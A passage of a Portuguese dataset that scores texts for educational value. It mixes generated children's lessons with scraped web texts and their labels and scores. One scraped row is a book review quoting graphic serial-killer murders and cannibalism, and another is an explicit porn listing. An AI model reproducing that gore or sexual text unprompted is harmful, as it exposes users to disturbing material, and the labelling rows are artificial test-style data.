construção do Brasil que conhecemos hoje. E você, o que pode fazer para construir um Brasil melhor? Que tal estudar, aprender sobre a nossa história e participar ativamente da sociedade? + +Conhecer a história do Brasil é fundamental para entendermos quem somos e de onde viemos. É como olhar para um espelho e ver refletida a nossa identidade, com todas as suas cores, formas e histórias. Ao conhecermos o passado, podemos construir um futuro mais justo e igualitário para todos. Pensem nisso e continuem explorando os mistérios da nossa história!",História,História do Brasil,anos finais (6º ao 9º ano),"O trecho apresenta informações básicas sobre a história do Brasil, desde o período pré-colonial até a Proclamação da República, utilizando uma linguagem acessível e convidativa para estudantes. Ele introduz conceitos importantes do currículo de História, como a diversidade dos povos indígenas, o período colonial, a escravidão e a independência do Brasil. Além disso, estimula a reflexão sobre o papel de cada um na construção de um Brasil melhor. Atende a todos os critérios, recebendo a pontuação máxima.",5,1.0 +"Na noite do dia 25 de Agosto de 1990 Danny Rolling, assassino em série conhecido pela alcunha de ""O Estripador de Gainesville"" invadiu a casa de Christa Hoyt, estudante de apenas 18 anos da Faculdade comunitária de Santa Fé, estuprou-a, esfaqueou-a até a morte, cortou fora seus mamilos, abriu-a em um corte enorme, do esterno até à virilha e a decapitou, deixando a cabeça em uma prateleira antes de abandonar a cena do crime. +Fritz Haarmann, Assassino em Série da década de 20 conhecido como ""O Vampiro de Hanôver"", quando preso descreveu para a policia como era seu modo operante: ""Eu fazia dos cortes no abdômen e punha os intestinos num balde, depois enxugava o sangue e esmagava os ossos até os ombros quebrarem. Agora podia tirar o coração, os pulmões e os rins e picá-los e colocá-los num balde. Separava a carne dos ossos e colocava em um saco impermeável. Precisava de cinco ou seis viagens para pegar tudo e jogar na privada ou no rio."" +Albert Fish, muito provavelmente um dos mais horríveis Assassinos em Série de todos os tempos, era também canibal. Certa vez, no condado de Westchester, ele estrangulou e decapitou uma jovem de 12 anos. Em seguida fatiou dois quilos de carne do seu peito, nádegas e abdômen. Guardando tudo em um pedaço de jornal velho, levou a carne para a sua pensão em Manhattan, cortou em pedaços menores e refogou com cenouras, cebolas e tiras de bacon. Ao longo dos nove dias que se seguiram ele consumiu toda a carne, com um prazer tão grande que era comum se masturbar enquanto o fazia. +Os relatos acima foram apenas três, das centenas de outros que você encontrará em ""Serial Killers – Anatomia do Mal""(DarkSide Books, 473 páginas, 2013) do renomado professor de literatura e cultura americana Harold Schechter. Mais do que uma simples compilação de atrocidades das mentes mais cruéis que já passarem pela terra, ""Serial Killers"" é um verdadeiro guia para aqueles que pretendem conhecer um pouco mais sobre o macabro universo dos Assassinatos em Série. Nele você compreenderá um pouco mais sobre como surgiu o termo, quais foram os primeiros casos registrados na sociedade moderna, os diferentes tipos de assassinos (estripadores, envenenadores, atiradores, idosos, crianças, psicóticos, psicopatas…), como identificar prováveis tendências assassinas, as diferenças entre assassinatos em série/em massa/relâmpago, além das possíveis motivações por trás das maiores crueldades já cometidas por ""seres humanos"". +""Eu sou o que vocês fizeram de mim e o cachorro louco assassino e leproso é um reflexo de sua sociedade"" – Charles Manson +O livro é dividido em 9 capítulos (O que significa, Quem são eles, Uma história do assassinato em série, O sexo e os assassinos em série, Por que eles matam, O mal em ação, Galeria do mal: Dez monstros americanos, Como termina) que abordam praticamente tudo o que você precisa saber sobre o assunto, com informações detalhadas e atualizadas – o livro foi lançado originalmente em 2003, mas os editores brasileiros fizeram um belo trabalho atualizando as informações através de várias notas de rodapé -, pontuadas em diversos momentos pelos 34 relatos de casos específicos que se tornaram conhecidos (ou não) pelo alto teor de barbárie envolvido neles. Há ainda um capítulo inteiro dedicado ao ""fenômeno"" do assassinato em série (estima-se que a cada momento há cerca de pelo menos 50 assassinos em série agindo nos EUA) na cultura popular, com indicações de livros (fictícios ou não), filmes, séries e histórias em quadrinhos que abordem o tema. Stephen King está presente na sessão com dois de seus trabalhos mais conhecidos, o já clássico ""A Coisa"" (Pennywise em forma de palhaço lembra bastante John Wayne Gacy, assassino em série que se vestia de palhaço para atrair crianças) e o recente ""Joyland"" que fala sobre um Serial Killer que atua em parques de diversões. +""…Então a cortei em pedacinhos para poder levar a carne para os meus aposentos. Como era doce e tenro seu pequeno lombo assado no forno. Levei nove dias para c...",original,original,original,original,0,0.0 +"Olá, exploradores do tempo! Já pararam para pensar como organizamos tudo que já aconteceu? Sejam os momentos da nossa vida, a história da nossa família ou os grandes eventos que transformaram o mundo? Uma das ferramentas mais legais para isso é a linha do tempo! + +Imagine que a linha do tempo é como uma estrada longa, onde cada ponto representa um momento importante. Nela, podemos organizar eventos em ordem cronológica, ou seja, na ordem em que aconteceram. É como se estivéssemos criando um mapa da história, visualizando o passado de forma clara e organizada. + +Para que serve uma linha do tempo? Imagine que você quer contar a história da sua vida para um amigo. Em vez de simplesmente falar tudo de uma vez, você pode criar uma linha do tempo com os momentos mais importantes: seu nascimento, o dia que aprendeu a andar de bicicleta, sua primeira viagem, etc. Isso torna a história mais fácil de entender e muito mais interessante! Assim como a sua vida, a história do Brasil ou do mundo também pode ser contada e entendida através de linhas do tempo. + +As linhas do tempo nos ajudam a entender como as coisas mudaram ao longo do tempo. Por exemplo, podemos criar uma linha do tempo para mostrar como a tecnologia evoluiu desde a invenção do telefone até os smartphones de hoje. Ou podemos criar uma linha do tempo para mostrar como as roupas que usamos mudaram ao longo dos séculos. Ao observar a linha do tempo, percebemos que tudo está em constante transformação. + +A criação de uma linha do tempo é super simples! Primeiro, defina o período que você quer representar (pode ser um dia, um ano, um século...). Depois, liste os eventos importantes desse período. Em seguida, organize os eventos em ordem cronológica e marque-os na linha do tempo. Você pode usar desenhos, fotos ou pequenas descrições para tornar a linha do tempo ainda mais interessante. Que tal criar uma linha do tempo da sua família? Converse com seus pais, avós e descubra momentos incríveis para registrar! + +As linhas do tempo são ferramentas poderosas para aprendermos sobre história, sobre nós mesmos e sobre o mundo que nos cerca. Elas nos ajudam a organizar o passado, entender o presente e imaginar o futuro. Então, que tal começar a sua aventura no mundo das linhas do tempo hoje mesmo? Quais eventos da sua vida você gostaria de registrar? Quais momentos importantes da história do Brasil você gostaria de explorar?",História,Linha do tempo,anos finais (6º ao 9º ano),"O texto introduz o conceito de linha do tempo de forma clara e acessível, utilizando exemplos práticos e convidando o leitor à reflexão e à criação. Apresenta a utilidade da ferramenta para organizar eventos históricos e pessoais, além de estimular a interação familiar. A linguagem é adequada ao público infantil e o conteúdo é relevante para o ensino fundamental, abordando habilidades de organização, cronologia e compreensão histórica.",5,1.0 +"Um homem foi parar no hospital após um chuveirinho de 15 centímetros ficar preso em seu reto. O rapaz de 26 anos, que não teve a identidade divulgada, disse aos médicos que caiu em cima do objeto durante o banho em sua casa, na Índia, e que resolveu procurar ajuda após tentar retirá-lo sozinho e não ser bem-sucedido. +De acordo com informações do Daily Mail , os paramédicos do Hospital Ram Manohar Lohia e do Instituto de Pós-Graduação em Educação Médica e Pesquisa em Nova Deli explicaram, por meio de um relatório, que acreditavam que o chuveirinho foi utilizado para “fins eróticos”. +A equipe contou que o indiano ficou com a cabeça do chuveiro auxiliar e uma parte da tubulação presas no reto, e que reclamou de dores na região. Exames foram executados para avaliar o caso, e o rapaz está saudável, sem apresentar sangramentos internos. +O paciente passou por um longo processo de cirurgia, tendo o objeto retirado do ânus. Os médicos expuseram que mais exames tiveram de ser realizados para verificar se algum dano havia sido causado ao intestino grosso do rapaz. +Depois de identificar que o paciente estava realmente bem, ele ficou em observação por dois dias e recebeu alta após o tempo de recuperação na clínica. Sugerimos que ele passasse por consultas com psiquiatras, mas ele se recusou”, informaram. +Ainda segundo o documento elaborado pelos médicos, “extrações de corpos estranhos” do reto das pessoas são bastante comuns, principalmente entre homens de 30 a 40 anos. “Geralmente, esses pacientes ocultam informações acerca do caso por medo de serem hostilizados, o que jamais faremos. Indicamos que contem exatamente o que ocorreu para que possamos diagnosticá-los e executar exames apropriados para perfurações, infecções, dores abdominais e sangramentos intensos”, destacaram os médicos em documento. +Embora esses incidentes, na maioria das vezes, não sejam perigosos, os autores do estudo ressaltaram que nos casos em que há sangramento interno ou em que a condição do paciente é instável, o objeto deve ser removido cirurgicamente. Eles também expuseram que, além do chuveirinho, lâmpadas de vidro, vegetais e barras de ferro já foram retirados de dentro dos acidentados.",original,original,original,original,0,0.0 +"4ª Semana de Combate ao Racismo é aberta na Ilha do Marajó +Estudantes e professores de Salvaterra e Soure, abriram a quarta edição da semana integrada de combate ao racismo no Marajó. Eles conseguiram integrar as escolas estaduais Gasparino Batista da Silva e Ademar de Vasconcelos em torno das discussões sobre o fenômeno social do racismo. +Salvaterra é dos municípios da Ilha do Marajó que possui o maior número de comunidades quilombolas oficiais, devidamente reconhecidas pelo Governo Federal, através da Fundação Palmares. +Por este motivo a cidade foi referência para o início das atividades pedagógicas idealizadas pelo historiador Vinicius Darlan desde 2010, usando as prerrogativas da Lei Federal nº 10.639/03, que torna obrigatória a prática, nas escolas, do ensino da História da África e da Cultura Afro-brasileira, fortalecida pelo Estatuto da Igualdade Racial e pela proclamação da Década dos Afro-Descendentes, pela ONU, para o período de 2013 a 2022. +Soure integrou o projeto a partir de 2012 e este ano já se destaca pelo envolvimento da comunidade escolar e pela participação efetiva de professores e alunos na confecção de painéis, faixas, cartazes e várias manifestações culturais com dança música e teatro, além do concurso para a escolha da beleza negra masculino e feminino, a exemplo do que já acontece em Salvaterra há quatro anos. +Durante três dias as escolas realizam palestras, debates, exposições e duas grandes caminhadas na culminância, que acontece durante o encerramento, na próxima quinta feira, 09. Durante as caminhadas os estudantes utilizarão apito e vuvuzelas compradas por eles mesmos para promover o alerta social contra o racismo. +Entre os temas que serão abordados ainda estão a religiosidade, a dança, o bullying e o corpo através da capoeira. Os palestrantes foram selecionados, na sua maioria, entre os professores da própria região marajoara. +[email protected] alunos, Nas aulas do dia 14 de novembro iniciamos nossa atividade que completa a terceira avaliação. - Sobre o Movimento Negro, transcrevo O Brasil é o país que tem a maior população de negros fora da África. Nossos antepassados foram trazidos... +- Vasconcelos E Gasparino: Prontas Para O Combate Ao Racismo +A mobilização para a Semana Integrada de Combate ao Racismo no Marajó está a todo vapor nas duas escolas envolvidas no projeto. Sob as orientações do Professor Vinicius Darlan, os alunos estão elaborando seus trabalhos para serem expostos durante...",original,original,original,original,4,0.8 +"Se você não estiver familiarizado com o envio de ativos na Valora, é útil ler o artigo O que preciso saber antes de enviar e receber fundos pela Valora?. +Passo 1: Na tela inicial, toque em Enviar. +Passo 2: Escolha um destinatário. +Valora oferece três opções: +Se você ativou a Valora para ver a lista de contatos de seu telefone, digite seu nome ou rolagem para pesquisá-lo e selecionar o destinatário desejado. Se o destinatário tiver uma conta da Valora com um número de telefone conectado, ele receberá o ativo automaticamente. Se não, você receberá uma solicitação para enviar uma mensagem de convite. +Insira um endereço Celo (copiar e colar é o método recomendado). Se enviar para um exchange, certifique-se de que ele suporta o ativo que você está enviando. +Escaneie o código QR do receptor usando o ícone no canto superior direito do aplicativo (quatro quadrados verdes). +Passo 3: Insira os detalhes do ativo. +Use o menu de ativos verde no topo para selecionar o ativo que você deseja enviar. +Informe a quantia que deseja enviar. +Toque em Revisar para ver os detalhes da transação, incluindo as taxas estimadas e o custo total da transação. +Passo 4: Confirme os detalhes da transação. +Você também pode adicionar uma descrição se você estiver enviando CELO, cUSD ou cEUR. +Toque em Enviar. +Passo 5: Digite seu PIN. +Observação: Se você já tiver informado seu PIN recentemente, você passará automaticamente para a próxima etapa. +A transação será exibida no seu histórico de atividades na tela inicial da Valora e o status será atualizado assim que a transação for concluída.",original,original,original,original,1,0.2 +"Este trabalho visa mostrar a importância do desenvolvimento psicomotor da criança com relação ao processo de alfabetização. Utilizar as diferentes linguagens corporais, as suas influências e contribuições para a formação do educando priorizando estas, como processo de descoberta a fim de tornar a alfabetização mais lúdica, prazerosa e significativa. +Este tema, portanto, apresenta um importante desafio para um exercício reflexivo para prática educativa. Através deste, estamos tendo a possibilidade de desfrutar de uma maior abertura dentro da universidade para produzir um diálogo crítico sobre a questão mais específica da classe de alfabetização e do enfrentamento a necessidade de novas frentes de pesquisa e de discussão educacional. +Sabemos que o desenvolvimento corporal e motor são muito importantes para a aprendizagem. No entanto, as ações educativas geralmente apontam outra direção. A escola tem tratado o corpo como uma mala que carrega o cérebro (algo fundamental a educação racional), e o movimento como um simples acessório. (HAETINGER, 2005, p.108.). +No Ensino Fundamental as atividades corporais vão perdendo espaço com o passar dos anos. Ao ingressarem no primeiro ano as crianças já começam a viver em um novo ambiente: cadernos, cópias do quadro-negro, enfim, rotinas e responsabilidades que não faziam parte de seu cotidiano escolar. Começa agora uma longa jornada em busca do desenvolvimento do processo de alfabetização, mas, cabe ao professor tornar este processo significativo e proveitoso. +Partindo dessa perspectiva a alfabetização não é vista como meramente uma habilidade técnica a ser adquirida, mas sim, um fundamento necessário a ação cultural para a liberdade. Ainda na visão Freiriana podemos perceber a alfabetização como um projeto político no qual homens e mulheres afirmam seu direito e sua responsabilidade não apenas de ler, compreender e transformar suas experiências pessoais, mas também de reconstituir sua relação com a sociedade mais ampla. +O letramento e a alfabetização são termos usados pelos professores unidos como se fossem conceitos únicos. Segundo Soares “no Brasil, os conceitos de alfabetização e letramento se mesclam, se pressupõe e freqüentemente se confundem”. (SOARES, 2003, p.05). +As dificuldades das crianças no início do processo de aprendizagem de linguagem escrita podem ser bastante grandes, ainda que apresente um perfil normal de desenvolvimento. Um dos fatores da dificuldade não se relaciona somente com o fato das crianças desconhecerem para que serve a língua, como ela funciona, mas também, pelo fato de não possuírem habilidades psicomotoras bem desenvolvidas. +Psicomotricidade, portanto, é um termo empregado para uma concepção de movimento organizado e integrado, em função das experiências vividas pelo sujeito cuja ação é resultante de sua individualidade, sua linguagem e sua socialização. A educação psicomotora é uma educação global que, associando os potenciais intelectuais, afetivos, sociais e motores da criança, dá-lhe segurança, equilíbrio e permite o seu desenvolvimento, organizando as suas relações com os diferentes meios nos quais deve evoluir. +Após termos claros esses conceitos, os quais serviriam de base para entendermos algumas situações vividas no cotidiano escolar, partimos então para a sistematização das práticas a serem realizadas. Escolhemos duas professoras da classe de alfabetização de uma escola da rede particular onde esta diz que as séries realizam trabalho globalizado. Aqui iremos nos referir as professoras como sendo professora A e B, relataremos os fatos de uma por vez. Realizamos três atividades corporais com cada turma, estas foram: mexendo o corpo; cruzando setas e; imitando os animaizinhos. +Com relação à alfabetização, observamos que, neste dia não foi trabalhada não sendo possível a identificação do método utilizado, as atividades desenvolvidas, nortearam o âmbito tradicional, tais como: folhinha, caderno, picar e colar papéis, sem a interação da professora para que ...",original,original,original,original,4,0.8 +"Conheceu a morena e depois descobriu que ela era amiga da sua tia. Mesmo assim comeu a perva sem camisinha filmando sexo dentro do motel. Porno com uma danada liberal dando a boceta sem usar preservativo, no couro! +100% 51:29 24 305 Sucesso Do Porno Nacional Com Cenas De Sexo Quente Com Safadinha",original,original,original,original,0,0.0 +"Urgência Pedagógica e Didática I – APEVT +Sobre as “planificações” que se vêm por aí! +As planificações sobre a organização e gestão do ensino aprendizagem nas disciplinas de Educação Visual, Educação Tecnológica e Artes Visuais não podem ser realizadas a partir das Metas Curriculares, (conteúdos), misturadas com Aprendizagens Essenciais, (competências) e com descritores do Perfil dos Alunos metidos à força, mais ou menos ao lado, só para que constem. Para baralhar ainda mais, divide-se pelos três períodos letivos os três Domínios Organizadores, (apropriação, interpretação, experimentação), ignorando-se por completo que o papel organizador destes domínios correspondem às etapas do trabalho investigativo, (pesquisa, experimentação e reflexão) aplicado em cada assunto tratado no processo de ensino aprendizagem. +Criar a confusão querendo misturar água com azeite, é subverter conscientemente o paradigma das Aprendizagens Essenciais e do Perfil dos Alunos e a sua centralidade no aluno e no processo de ensino. +As escolas podem optar por uma das orientações curriculares, Metas Curriculares ou Aprendizagens Essenciais, não devem é misturar modelos completamente antagónicos que ambas preconizam. Trabalhar por conteúdos sequenciais, independentemente do contexto educativo, é trabalhar num modelo aquisitivo e normativo oposto a um modelo de aprendizagem e flexibilidade adequada aos contextos e realidades vividas em cada situação de ensino, através da abordagem disciplinar pelo trabalho investigativo. +Pululam pelas escolas planificações decalcadas das divulgadas pelas editoras com propostas de “planificações sopa de pedra” em que vale tudo apenas com o objetivo de formalizar a atividade docente preenchendo papeis e salvar os manuais que estão estruturados a partir de conteúdos, (metas curriculares) e logo, em contraciclo com a mudança e o paradigma da flexibilidade e do trabalho com projetos. (Os manuais escolares enquanto recurso informativo terão que conter conteúdos, como é óbvio. Contudo a sua consulta deve ser parcelar e não utilizado de forma sequencial, funcionando como planificador do ensino.) +Estes pressupostos pedagógicos têm ainda maior relevância e pertinência na área artística dado o caráter específico e o suposto ênfase dada à individualidade, (aluno) e ao processo criativo que não se compadece com situações de ensino estandardizadas centrado em metas, (na matéria) e nos produtos resultantes do ensino. +Quem opta por um desenvolvimento curricular centrado num determinado modelo, deverá assumir a sua opção perante a comunidade educativa e não usar os documentos, baralhando e ficando tudo na mesma. Isto tanto se refere a professores como às direções dos agrupamentos. +Como foi referido, na área artística e tecnológica, ao longo dos três ciclos de estudo da escolaridade obrigatória as Aprendizagens Essenciais apresentam-se em Domínios Organizadores, interdependentes que, induzem a uma metodologia de trabalho investigativo, (pesquisa, experimentação e reflexão) no desenrolar de cada assunto, unidade de trabalho ou projeto. +Apropriação e Reflexão – Pretende-se que os alunos aprendam os saberes da comunicação visual e compreendam os sistemas simbólicos das diferentes linguagens artísticas, identificando e analisando, com um vocabulário específico e adequado, conceitos, contextos e técnicas em diferentes narrativas visuais … +Interpretação e Comunicação – Pretende-se, de uma forma sistemática, organizada e globalizante, desenvolver as capacidades de apreensão e de interpretação, no contacto com os diferentes universos visuais – sendo desejável que não se restrinja a arte à tradição ocidental e a determinados períodos históricos – estimulando múltiplas leituras das diferentes circunstâncias culturais… +Experimentação e Criação – Conjugam-se a experiência pessoal, a reflexão, os conhecimentos adquiridos, na experimentação plástica de conceitos e de temáticas, procurando a criação de um sistema próprio de trabalho … +Significa que para uma m...",original,original,original,original,3,0.6 +"De uma forma estimulante e abrangente, descobre os fundamentos da programação e prepara-te para o futuro tecnológico! +Enroll +Sobre este curso +Todos os anos aparecem novas ferramentas e linguagens de programação mas os princípios fundamentais acabam por se manter. Isto é importante pois sem as bases fundamentais da programação, terás um esforço tremendo para te manteres atualizado. +Mais do que saber técnicas específicas, vais aprender a pensar como um programador. Saber olhar para os problemas de forma a serem resolvidos por um programa. Saber como fazer mas acima de tudo saber o porquê de ser feito dessa forma. E acima de tudo, adquirir (ou aumentar) o gosto pela programação. Porque quando se gosta, é muito mais fácil aprender! +Mas não penses que é um curso teórico - todos os módulos incluem pequenos exercícios e no final da primeira semana já estarás a escrever o teu primeiro programa numa linguagem moderna e cada vez mais popular: o Kotlin. +Pré-requisitos +Nenhuns exceptuando uma enorme vontade de aprender! 😀 +Se nunca programaste, este é o curso certo pois começamos do zero e vamos avançando com calma, explicando em detalhe cada tópico de modo a que possas progredir com confiança. +Se já fizeste umas ""brincadeiras"" com programação, este curso também poderá ser útil para entenderes em mais profundidade porque é os programas são feitos de uma forma e não de outra e também para teres uma visão mais abrangente deste tópico, transversal às várias linguagens de programação. +Programa +Parte 1 +Introdução à programação +Algoritmos, fluxogramas +Sintaxe e semântica das linguagens +Declarações e atribuições +Expressões aritméticas +Entradas e saídas de dados +Parte 2 +Estrutura dos programas, blocos de código +Expressões lógicas +Mecanismos de Selecção: selecção simples, alternativa e múltipla +Mutabilidade e nulabilidade +Parte 3 +Âmbito das variáveis +Funções numa linha +Mecanismos de Repetição +Geradores de números aleatórios +Parte 4 +Algoritmos incrementais e não-incrementais +Arrays +Funções com blocos +Leitura e escrita de ficheiros +Boas práticas de programação imperativa +Instrutor +Pedro Alves +Professor associado +Departamento de Engenharia Informática e Sistemas de Informação - ULHT +Lecciona há vários anos diversas disciplinas de Programação +Certificado +Ao increveres-te neste curso, podes optar por frequentá-lo em dois modos distintos: +Modo Observador - com acesso a todos os conteúdos, excepto os mini-testes teóricos e os exercícios práticos de programação. Quando te inscreves, estás automaticamente neste modo. Este modo não dá direito a qualquer certificado. +Modo Verificado - com acesso a todos os conteúdos, incluindo os mini-testes teóricos e os exercícios práticos de programação. Em caso de nota final igual ou superior a 80%, será emitido um certificado de aproveitamento, com o selo da Universidade Lusófona. +Os estudantes que pretendam frequentar o curso no Modo Verificado deverão proceder ao pagamento de 25 Euros. Para já esta opção está desabilitada, em breve será disponibilizado um link para efetuar este pagamento e ativar este modo. +Perguntas frequentes +Porquê Kotlin? +Apesar de não ser uma linguagem mainstream como o Java ou o Python, é uma linguagem moderna com elevada taxa de adopção - por exemplo, 60% das 1000 apps Android mais populares são desenvolvidas em Kotlin. Mas acima de tudo, é uma excelente linguagem para aprender a programar pois tem uma sintaxe agradável e concisa mas ao mesmo tempo garante a robustez e segurança essenciais para quem está a dar os primeiros passos na programação. +Tenho que instalar algum programa para fazer o curso? +O curso em si não precisa que instales nada, pois é totalmente visualizável através do browser (Chrome, Safari, etc.). No entanto, para fazeres os exercícios práticos terás que instalar uma ferramenta gratuita chamada Intellij, que te irá permitir escrever e executar os teus primeiros programas. +Sendo este curso desenvolvido por uma universidade, não será muito teórico? +Qualquer programador experiente...",original,original,original,original,4,0.8 +"Vejo todo mundo na piscina, na praia, e a única coisa que eu posso fazer pra me refrescar é ficar sem cueca. - Os Vigaristas +Vejo todo mundo na piscina, na... +Vejo todo mundo na piscina, na praia, e a única co... +Vejo todo mundo na piscina, na praia, e a única coisa que eu posso fazer pra me refrescar é ficar sem cueca.",original,original,original,original,0,0.0 +"Olá, pequenos aventureiros! Já pararam para pensar que as histórias são como portais mágicos? Elas nos levam para lugares incríveis, nos apresentam a personagens superdivertidos e nos ensinam um montão de coisas! E quando essas histórias são brasileiras, ah, a aventura fica ainda mais especial! + +Hoje, vamos embarcar em uma jornada pelo mundo da literatura brasileira, que é como um grande baú cheio de tesouros. Esses tesouros são os livros, poemas e contos escritos por autores do nosso país. Eles usam as palavras para pintar quadros na nossa imaginação, para nos fazer rir, chorar, pensar e, principalmente, aprender. + +Imagine, por exemplo, as histórias do Sítio do Picapau Amarelo, escritas por Monteiro Lobato. Quem não se diverte com as travessuras da Narizinho, do Pedrinho, da boneca Emília e do Visconde de Sabugosa? Através dessas aventuras, aprendemos sobre a cultura brasileira, sobre a natureza e sobre a importância da amizade. + +E que tal os poemas de Vinicius de Moraes? Com suas palavras musicais, ele nos ensina a amar os animais, as cores e as pequenas coisas da vida. Quem nunca ouviu falar de ""O Pato"" ou ""A Casa""? São poemas simples, mas cheios de significado, que nos fazem sorrir e refletir. + +Outro autor muito legal é Ziraldo, que criou o Menino Maluquinho. Com suas histórias, Ziraldo nos mostra que ser diferente é legal e que podemos aprender com nossos erros. O Menino Maluquinho é um garoto cheio de energia e curiosidade, que vive aventuras incríveis e nos ensina a sermos mais criativos e a nunca desistirmos dos nossos sonhos. + +A literatura brasileira é como um abraço quentinho que nos conecta com a nossa cultura e com a nossa história. É através das histórias que conhecemos o nosso país, os nossos costumes e os nossos valores. E o mais legal é que a literatura está presente em todos os lugares: nos livros, nas músicas, nos filmes e até nas conversas com os nossos amigos e familiares. + +Então, que tal começar a sua própria aventura literária? Procure livros de autores brasileiros, peça para seus pais lerem para você, visite a biblioteca da sua escola ou da sua cidade. Descubra a magia das palavras e deixe a sua imaginação voar! Qual livro brasileiro você gostaria de ler hoje? Que personagens você gostaria de conhecer? + +Lembrem-se, pequenos leitores, que a leitura é uma das maiores aventuras que podemos viver. E a literatura brasileira está de portas abertas para receber vocês de braços abertos!",Português,Literatura brasileira,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional por introduzir a literatura brasileira de forma lúdica e convidativa para crianças. Ele menciona autores e obras relevantes, conectando-os a valores culturais, amizade e criatividade. A linguagem é acessível e incentivadora, promovendo o hábito da leitura e o contato com a cultura nacional. O texto é adequado para os anos iniciais do ensino fundamental e pode ser adaptado para os anos finais.",5,1.0 +"""Olhei para nossa forma de buscar, por meio da espiritualidade, um sentido profundo na vida”, afirma o arquiteto indiano em entrevista à Casa Vogue +Ele se formou em 1947, ano em que a índia conquistou a independência, e decidiu viajar a Paris com o único objetivo de trabalhar ao lado de Le Corbusier. Não cultivava a ambição de se estabelecer fora de sua terra natal: queria apenas aprender muito e retornar o quanto antes para ajudar a construir a identidade da jovem nação. Foi o que ocorreu em 1954, quando recebeu a missão de coordenar os projetos desenvolvidos pelo escritório do mestre franco-suíço em Chandigarh e Ahmedabad. +SAIBA MAIS: As mulheres que venceram o Pritzker +Cerca de 80 mil pessoas habitam o conjunto Aranya, erguido em Indore, em 1989: pátios comunitários organizam as 6.500 moradias, o que cria uma escala interessante entre espaços públicos e semipúblicos, além de incentivar o convívio entre famílias de rendas distintas: “As classes mais humildes precisam ter acesso a um desenho adequado de habitação”, diz Doshi +A cidade moderna de Chandigarh nasceu para servir como nova capital da província de Punjab, no norte, cujo antigo centro administrativo, Lahore, ficou em território paquistanês após a divisão da Índia, em 1947. Ela surgia aos pés do Himalaia ao mesmo tempo em que Brasília brotava no cerrado, onde outro discípulo de Le Corbusier, o nosso Oscar Niemeyer, também deixava sua marca. Os paralelos entre o modernismo brasileiro e o indiano não param por aí. Enquanto Vilanova Artigas fundava a Faculdade de Arquitetura e Urbanismo da Universidade de São Paulo (USP) e projetava seu prédio, Balkrishna Doshi concebia e construía, em 1962, a Escola de Arquitetura e Planejamento (hoje chamada CEPT, sigla para Centro de Planejamento Ambiental e Tecnologia) em Ahmedabad. +O estúdio do arquiteto (conhecido como Sangath), construído em 1980, em Ahmedabad, mescla elementos caros à sua arquitetura: abóbodas, terraços, jardins e a presença da água – tantas atmosferas distintas se unificam por meio do uso do concreto e pela intenção de conectar o indivíduo à natureza +Assim como os modernos brasileiros, Doshi encontrou uma trajetória própria. “Tentei achar uma linguagem que abrangesse nossa diversidade de grupos e níveis sociais. Olhei muito para nossa forma de buscar, por meio da espiritualidade, um sentido profundo na vida”, afirma em entrevista à Casa Vogue. Para ele, esse caminho passa pela relação entre espaço e luz. “Meus projetos sempre falam sobre nuances sutis. Eu articulo os ambientes para torná-los líricos, livres, abertos. Você pode habitá-los de várias maneiras”, prossegue. “Procuro criar conforto, frescor e uma consciência sobre as variações da luz, que pode ser dura, suave, acolhedora, refletida... e cada tipo tem sua qualidade.” +Ilustração do mesmo projeto: “Usar cor nos desenhos me ajuda a distinguir os espaços”, revela Doshi, que, antes de cursar arquitetura, estudou pintura +Doshi fala com muito orgulho sobre o plano diretor do conjunto Aranya, erguido em Indore no final dos anos 1980 como parte de uma política pública de habitação social que ele mesmo ajudou a formular. “O melhor jeito de resolver a falta de moradia digna é empoderar as pessoas. Se o Estado concede a propriedade do terreno e os serviços essenciais, elas são capazes de mobilizar recursos para fazer o resto. E isto gera esperança, pois elas começam a vislumbrar o futuro. Eu fui um catalisador desse processo”, relata. +Agora com mais de 80 mil habitantes, o lugar é um sistema de casas conectadas por pátios e caminhos internos onde famílias de baixa e média renda convivem de um jeito fluido, sem barreiras. “Desenhei algumas casas-protótipo e os moradores foram adaptando, inventando novas soluções. Hoje, algumas unidades têm até três andares. Tudo isso significa que, se dermos oportunidade para as pessoas chegarem lá, elas chegam. Acho que essa foi a minha maior contribuição social”, conclui. +Aos 90 anos, Doshi se envolve de forma esporádica, como co...",original,original,original,original,5,1.0 +"É urgente a adoção de uma política estatal que ampare, multiplique e fortaleça a presença do livro no Brasil. +Livros: por que tão caros? +Mary Del Priore, historiadora sensível e verdadeira evangelizadora da leitura, fica chocada quando vê, em suas andanças, jovens devolvendo os livros às prateleiras, ao consultarem o preço. Sugeriu que a Academia Paulista de Letras, que é sua Casa, fizesse um apelo aos presidenciáveis, para que incluíssem tal preocupação em suas metas. +Fez mais: pediu a Jezio Hernani Bomfim Gutierre, operoso Presidente da Fundação Editora da UNESP, sugerisse um texto para servir de base ao apelo. Com algumas inserções, ele ficou assim: “Uma nação se edifica a partir de seres humanos letrados. O livro, no Brasil de hoje, é objeto acessível a bem poucos. Isso dificulta o acesso ao conhecimento e, portanto, à ciência e à verdade. +O domínio da leitura é pré-requisito indispensável para se adquirir consciência do lugar de cada qual, como cidadão presente e partícipe na sociedade. Imprescindível, em casa e na escola, a leitura amplia o horizonte de possibilidades, aprimora a capacidade do melhor uso da linguagem oral e escrita. Ela aprimora a capacidade de pensar, criticar e interagir. Garante o protagonismo sem o qual não há cidadania, nem vida democrática. Ela é fundamental, pois, competência básica, primeiro passo e passagem obrigatória para outros aprendizados. Leitura e a escrita integram a natureza humana. Com base nesses postulados é que a Academia Paulista de Letras dissemina escrita e leitura, estimula as potencialidades e busca valorizar todos os que fazem da palavra o seu ofício primordial. +Numa era em que as tecnologias promovem profunda mutação estrutural no sistema educacional e cultural, sente-se legitimada a recomendar aos futuros condutores da Administração Pública brasileira um compromisso sério e consistente em favor da leitura. Ler é saber decifrar códigos e sentidos; identificar palavras e distinguir suas diferenças; afirmar e enriquecer a linguagem e o pensamento; abrir-se ao mundo; comparar experiências; emocionar-se, sonhar e imaginar. +É urgente a adoção de uma política estatal que ampare, multiplique e fortaleça a presença do livro no Brasil e, diante disso, nossas sugestões: +Adoção de uma política estatal séria, robusta e firme, em favor do livro barato e do efetivo estímulo à leitura por todos os brasileiros, independentemente da escolaridade ou faixa etária; +Integração entre as agências científicas e acadêmicas dos Ministérios da Educação e da Ciência e Tecnologia – é necessário que organismos tais como Capes e CNPq tenham interlocução constante com as entidades do livro (CBL, ABEU etc.) para preservar o relevo da leitura e da publicação específica de livros. Docentes e pesquisadores dedicados à escrita de livros não têm hoje o devido reconhecimento por parte de agências de fomento, inclusive as mais representativas. +Chamamento de toda a cidadania – Universidade, Academias, Instituições, Igreja, Empresariado, Mídias, redes sociais e todo o Terceiro Setor – para congregar esforços que tornem escrita e leitura uma prazenteira ocupação de todos 